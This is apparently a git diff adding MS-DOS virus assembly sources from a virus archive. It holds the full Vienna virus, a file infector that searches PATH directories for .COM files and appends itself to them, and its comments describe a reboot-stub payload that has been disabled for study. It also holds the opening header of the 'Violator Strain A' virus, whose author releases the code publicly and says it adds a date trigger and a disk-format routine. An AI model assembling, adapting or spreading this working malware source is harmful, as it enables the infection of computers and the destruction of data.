next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + + MOV [SI+old_att],CX ;Save the old attributes + + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;******************************************************************* +; Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + + AND DH,7 ;Last 3 bits 0? (once in eight) + +;******************************************************************* +; The following line is a change from the original virus. Originally +; the following line would be JNZ seven_in_eight. This would ruin +; about 1/8 of all .COM files infected, while the other 7/8 would +; be left workable, but infected. For the purpose of studying a +; live virus, the changed line is not so damaging. +;******************************************************************* + JMP SHORT seven_in_eight + + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the .COM file, the +; file would get 5 bytes of code that reboot the system when the +; .COM file is run. +;******************************************************************* + + + MOV AH,40H ;Write to file + MOV CX,5 ;Five bytes + MOV DX,SI + ADD DX,reboot ;Offset of reboot code in data area + INT 21H + + JMP SHORT fix_time_stamp + + NOP + + +;****************************************************************** +; Here's where we infect a .COM file with this virus +;****************************************************************** + +seven_in_eight: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + + +;********************************************************************** +; Here when it's time to close it up & end +;********************************************************************** + +all_done: + PUSH DS + + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) +oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + + + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + + + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + + + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + + ;Use this with (SI + reboot) +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP + + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + + CODE ENDS +END VCODE diff --git a/MSDOS/Virus.MSDOS.Unknown.viennac.asm b/MSDOS/Virus.MSDOS.Unknown.viennac.asm new file mode 100644 index 00000000..5c422bd4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viennac.asm @@ -0,0 +1,680 @@ +;***************************************************************************** +; +; *** NOT FOR GENERAL DISTRIBUTION *** The Vienna Virus +; +; This file is for the purpose of virus study only! It should not be passed +; around among the general public. It will be very useful for learning +; how viruses work and propagate. But anybody with access to an assembler +; can turn it into a working virus and anybody with a bit of assembly coding +; experience can turn it into a far more malevolent program than it already +; is. Keep this code in responsible hands! +; +; This program does not check wether or not the .COM file to be infected is +; really a .COM file or simply a misnamed .EXE file. DOS does not rely on the +; file extension, but does a double-check by looking for a signature that +; indicates wether or not a file REALLY is an .EXE file. The virus writer +; apparently did not know this. This virus will take any .EXE file that's +; been renamed to a .COM file and try to infect it, obscuring the signature +; that marks it as an .EXE file. When the infected file is then run, the +; virus code will run first, and then the machine will try to run the .EXE +; header data as though it were code. This is likely to crash the machine, and +; since some later versions of DOS itself contain such misnamed .EXE files, +; it's likely to happen. +; +;****************************************************************************** + +;****************************************************************************** +;It seems that MASM won't always willingly translate ordinary assembly code +; into the byte-for-byte replacement of the code in the Vienna Virus. Since +; MASM is just a 2 pass assembler, it doesn't always have enough information to +; figure out the size of an instruction when it needs to. To be safe, it makes +; its guess on the high side and then adds in unrequested NOPS if it needs to +; pad out the space it allocated. Many of the NOPs in this virus are the result +; of this. But the virus writer seems to have done a bit of hand modification +; to the virus, and as a result, one instance where we'd expect a NOP, there +; isn't one. This macro allows us to mimic that instance, where an ordinary +; MOV CX,xx would otherwise have worked fine. +;****************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virus + + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + +;************************************************************* +; Check the DOS version +;************************************************************* + + MOV AH,30H + INT 21H + + CMP AL,0 ;0 means it's version 1.X + + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X + + +;************************************************************* +; Here if the DOS version is high enough for this to work +;************************************************************* + +dos_ok: PUSH ES + + +;************************************************************* +; Get DTA address into ES:BX +;************************************************************* + + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + + MOV [SI+old_att],CX ;Save the old attributes + + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;******************************************************************* +; Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + + AND DH,7 ;Last 3 bits 0? (once in eight) + +;******************************************************************* +; The following line is a change from the original virus. Originally +; the following line would be JNZ seven_in_eight. This would ruin +; about 1/8 of all .COM files infected, while the other 7/8 would +; be left workable, but infected. For the purpose of studying a +; live virus, the changed line is not so damaging. +;******************************************************************* + JMP SHORT seven_in_eight + + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the .COM file, the +; file would get 5 bytes of code that reboot the system when the +; .COM file is run. +;******************************************************************* + + + MOV AH,40H ;Write to file + MOV CX,5 ;Five bytes + MOV DX,SI + ADD DX,reboot ;Offset of reboot code in data area + INT 21H + + JMP SHORT fix_time_stamp + + NOP + + +;****************************************************************** +; Here's where we infect a .COM file with this virus +;****************************************************************** + +seven_in_eight: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + + +;********************************************************************** +; Here when it's time to close it up & end +;********************************************************************** + +all_done: + PUSH DS + + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) +oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + + + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + + + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + + + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + + ;Use this with (SI + reboot) +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP + + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + + CODE ENDS +END VCODE diff --git a/MSDOS/Virus.MSDOS.Unknown.viol-1a.asm b/MSDOS/Virus.MSDOS.Unknown.viol-1a.asm new file mode 100644 index 00000000..13334505 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viol-1a.asm @@ -0,0 +1,462 @@ +;****************************************************************************** +; Violator Strain A Source Code +;****************************************************************************** +; +; (May/1/1991) +; +; Well, in memory of the first anniversary of writing Violator, I have decided +; to release it's source code publicly. +; +; This is the source code to the ORIGINAL Violator or DDrUS virus. It was set +; to go off on June 22nd, 1990. The significance of this date and the name +; Violator, was that my favourite group, Depeche Mode, were comming to Toronto +; to perform their "World Violator Tour" on that date. +; +; This virus, as you can clearly see, is a base hack of the Vienna virus. The +; only thing I took out of the Vienna virus was the original scan string, and +; added date check routines as well as the INT 26 format routine. Other than +; that, this virus is pretty much like the original Vienna virus. +; +; In any event, have fun with this source code, but please keep in mind, that +; RABID does not condone the modification of this virus further in order to +; create even more raging, destructive viruses. This source is being provided +; to you in order to see how easy it is to modify an existing virus into an +; instrument of destruction. Also, RABID accepts no responsibility for damage +; which may be wrought (material or immaterial, financial or personal, you get +; the idea...) through the spreading of this source code. +; +; At this point in time, I'd wish to express greetings to several people. +; +; To the Dark Avenger, for releasing "Eddie" source code. We have greatly +; improved our programming prowess through analysis of your source code. +; (It wasn't that bad, despite all your self-scorning negative comments about +; effectiveness of certain procedures) +; Keep up the great work... +; BTW: Hope you didn't mind RABID Avenger too much. We did spread the sucker +; some more... +; +; To YAM (Youth Against McAfee). Haha! Nice name. Too bad you can't program in +; anything other than PASCAL or QuickBASIC. +; +; To John McAfee and Associates. Keep up the great work with your SCAN and +; CLEAN programs. But remember, if it wasn't for people like us, you wouldn't +; be where you are now... (BTW: How'dya like Violator B4? Did you get our +; message, despite the bug in the ANSI routines? >SMOOCH< (hehe)) +; +; To Mark Washburn. V2P6 is excellent. We love the source code... (Yes! We have +; it as well...) Keep up the great work, even if it is for research purposes. +; +; To Eric Omen (DSZ Author). Sorry about the Strain B4 bit. It wasn't our +; doing. You can blame L.o.L. for that... +; +; To L.o.L. Get real lives you pre-pubesent assholes. Your group sucks! What +; good comes by releasing a doc on 500 ways to crash Emulex, and claiming that +; you know the backdoors to it, and other BBS software. 